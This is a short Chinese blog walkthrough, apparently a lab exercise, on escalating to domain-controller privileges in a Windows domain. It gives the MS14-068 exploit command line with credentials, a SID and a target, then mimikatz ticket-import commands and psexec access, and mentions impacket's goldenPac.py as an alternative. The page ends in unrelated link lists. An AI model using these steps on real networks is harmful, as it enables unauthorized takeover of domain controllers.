zoukankan
html css js c++ java
MS14-068提权和impacket工具包提权
ms14-068提权
工具利用
a)拿下边界机win7,并已经有win7上任意一个账号的密码
-u 用户名@域
-p 用户密码
-s 用户sid
-d 域控
ms14-068.exe -u test3@superman.com -p Test#123 -s S-1-5-21-2030659959-700672918-1434258406-1113 -d win08.superman.com
生成一个ccache后缀票据
导入票据
导入之前,清空票据缓存
kerberos::purge
kerberos::ptc 票据
使用psexec工具连接win08(域控机器)尝试执行命令,看到的权限是test3的,但是实际上所属已经是win08上,并且是最高权限
impacket工具包提权
b) 没拿到边界机,但是有账号密码的情况
使用/impacket/examples下的goldenpac.py脚本
注意@domain-host 指的是域控机的位置
成功进入win08的命令行模式
查看全文
相关阅读:
Python 之 __new__() 方法与实例化
Nvidia GPU架构演变
图像增强之各种算子
傅里叶变换 高通滤波 低通滤波
SqlServer 把数据库表结构导出为Excel
java.sql.SQLException: The server time zone value 'Öйú±ê׼ʱ¼ 解决方案
Navicat Premium 12中文破解版 32/64位 v12.1.22 已激活版
windows下安装mysql-8.0.18-winx64的教程(图文详解)
SQL Server中的分页查询 select top
SQL server分页的四种方法(算很全面了)
原文地址:https://www.cnblogs.com/sup3rman/p/12329854.html
最新文章
中心极限定理|z分布|t分布|卡方分布
伯努利大数定律|辛钦大数定律|全概率公式|贝叶斯公式|
链终止法|边合成边测序|Bowtie|TopHat|Cufflinks|RPKM|FASTX-Toolkit|fastaQC|基因芯片|桥式扩增|
CPU|MICGPU|FPGA|超算|Meta-data|
CRISPR/Cas9|InParanoid|orthoMCL|PanOCT|pan genome|meta genome|Core gene|CVTree3|
SRA|GEO|Taxonomy|Pubmed|MeSH|EBI|Uniprot|Human project|Ensembl|UCSC
h-index|IF|Good story|IPS
optogenetics|
抽样分布|t分布|中心极限定理|点估计|矩估计|最大似然法|
Quantitive Reasoning
热门文章
OS L6-8: Working Sets
OS L6-7: Allocation of Frames
OS L6-5: Page Replacement Algorithms
OS L6-3: Effective Access Time (EAT)
C++全景拼接
Python调用C++动态库,实现图像拼接(调用输出结果有问题)
C和指针 阅读笔记(1-5章)
关于房价走势的思考
C语言的运算符的优先级:逻辑运算符、条件运算符、赋值运算符、关系运算符、算术运算符
不同编程语言的宏观区别
Copyright © 2011-2022 走看看